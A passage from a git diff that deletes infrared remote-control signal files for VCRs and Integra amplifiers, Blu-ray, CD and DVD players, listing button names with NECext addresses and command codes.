-command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 09 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 0F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 11 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 12 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 13 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 14 00 00 00 -# -name: left1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 15 00 00 00 -# -name: right1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 16 00 00 00 -# -name: left-all -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 17 00 00 00 -# -name: right1 -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 18 00 00 00 -# -name: right-all -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 18 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 19 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1A 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 1C 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 21 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 22 00 00 00 -# -name: goto -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 23 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 24 00 00 00 -# -name: return-title -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 25 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 26 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 28 00 00 00 -# -name: bs -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 29 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2A 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2B 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2D 00 00 00 -# -name: tray -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 2F 00 00 00 -# -name: night -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 30 00 00 00 -# -name: dim -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 31 00 00 00 -# -name: surround -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 32 00 00 00 -# -name: eq -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 34 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 36 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 43 47 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir deleted file mode 100644 index 6e13d63b8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 00 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 01 00 00 00 -# -name: REW/SEARCH_<< -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 02 00 00 00 -# -name: FF/SEARCH_>> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 03 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 06 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 08 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 0F 00 00 00 -# -name: 1_(AM) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 1_AM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 10 00 00 00 -# -name: 2_(PM) -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 2_PM -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 19 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 20 00 00 00 -# -name: CH_SCAN_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 22 00 00 00 -# -name: CH_SCAN_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 23 00 00 00 -# -name: SPEED -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 25 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 2A 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 32 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: CLEAR_RESET -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 33 00 00 00 -# -name: TRACKING_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 38 00 00 00 -# -name: V-LOCK_TRACKING_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 38 00 00 00 -# -name: TRACKING_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 39 00 00 00 -# -name: V-LOCK_TRACKING_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 39 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3E 00 00 00 -# -name: OTR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir deleted file mode 100644 index 8729e398e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 05 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 33 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir deleted file mode 100644 index 648afde72..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ADD/DLT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: ADD/DELETE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir deleted file mode 100644 index a0d1aa509..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: S.TRACKING_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 00 00 00 00 -# -name: S.TRACKING_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 01 00 00 00 -# -name: S.SPEED_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 02 00 00 00 -# -name: S.SPEED_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 03 00 00 00 -# -name: 8_(AM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 04 00 00 00 -# -name: 9_(PM) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 05 00 00 00 -# -name: F.FWD/VI.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: REW/VI.SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0F 00 00 00 -# -name: F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: X2_FAST -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 12 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: REC/PLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: REC/PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 7_(WKL/DLY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: TRANS -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: UNKNOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir deleted file mode 100644 index eff57af73..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: RECORD -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir deleted file mode 100644 index 1975f9525..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 03 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 04 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 05 00 00 00 -# -name: TAPE/DAT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0B 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0D 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0E 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 0F 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 11 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 42 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 43 00 00 00 -# -name: SURROUND_MODE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 4C 00 00 00 -# -name: DELAY_TIME -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 53 00 00 00 -# -name: CENTER_LEVEL_+ -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 80 00 00 00 -# -name: CENTER_LEVEL_- -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 81 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 82 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 83 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 84 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 85 00 00 00 -# -name: ENTER/ESCAPE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 97 00 00 00 -# -name: TEST_TONE -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9A 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9C 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: 9D 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D0 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D1 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D2 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D3 00 00 00 -# -name: PRESET_5 -type: parsed -protocol: NECext -address: D2 6D 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir deleted file mode 100644 index e7ada6363..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 08 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 09 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 0F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 10 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 20 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 28 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 30 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 32 00 00 00 -# -name: 11 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 35 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 47 00 00 00 -command: 38 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir deleted file mode 100644 index 003d292ab..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: A_-_RED -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: B_-_GREEN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: C_-_BLUE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: D_-_YELLOW -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POP-UP_MENU/MENU -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SCAN_- -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SCAN_+ -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TRACK_- -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: TRACK_+ -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir deleted file mode 100644 index 97fee5034..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: FOLDER_DOWN -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 00 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: FOLDER_UP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 01 00 00 00 -# -name: NEXT_SELECTION -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 05 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 06 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 08 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 09 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0E 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 19 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1B 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1C 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: FOLDER_RIGHT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1D 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: FOLDER_LEFT -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 1F 00 00 00 -# -name: INTRO_SCAN -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 45 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 46 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5C 00 00 00 -# -name: DISK_- -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 5F 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 8E 00 00 00 -# -name: OFF_(STANDBY) -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: 8F 00 00 00 -# -name: DISC1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D5 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D5 00 00 00 -# -name: DISC2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D6 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D6 00 00 00 -# -name: DISC3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D7 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D7 00 00 00 -# -name: DISC4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D8 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D8 00 00 00 -# -name: DISC5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D9 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: D9 00 00 00 -# -name: DISC6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: DA 00 00 00 -# -name: DISC_6 -type: parsed -protocol: NECext -address: D2 2C 00 00 -command: DA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir deleted file mode 100644 index 0b0cce65e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir +++ /dev/null @@ -1,332 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 00 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: D2 1F 00 00 -command: 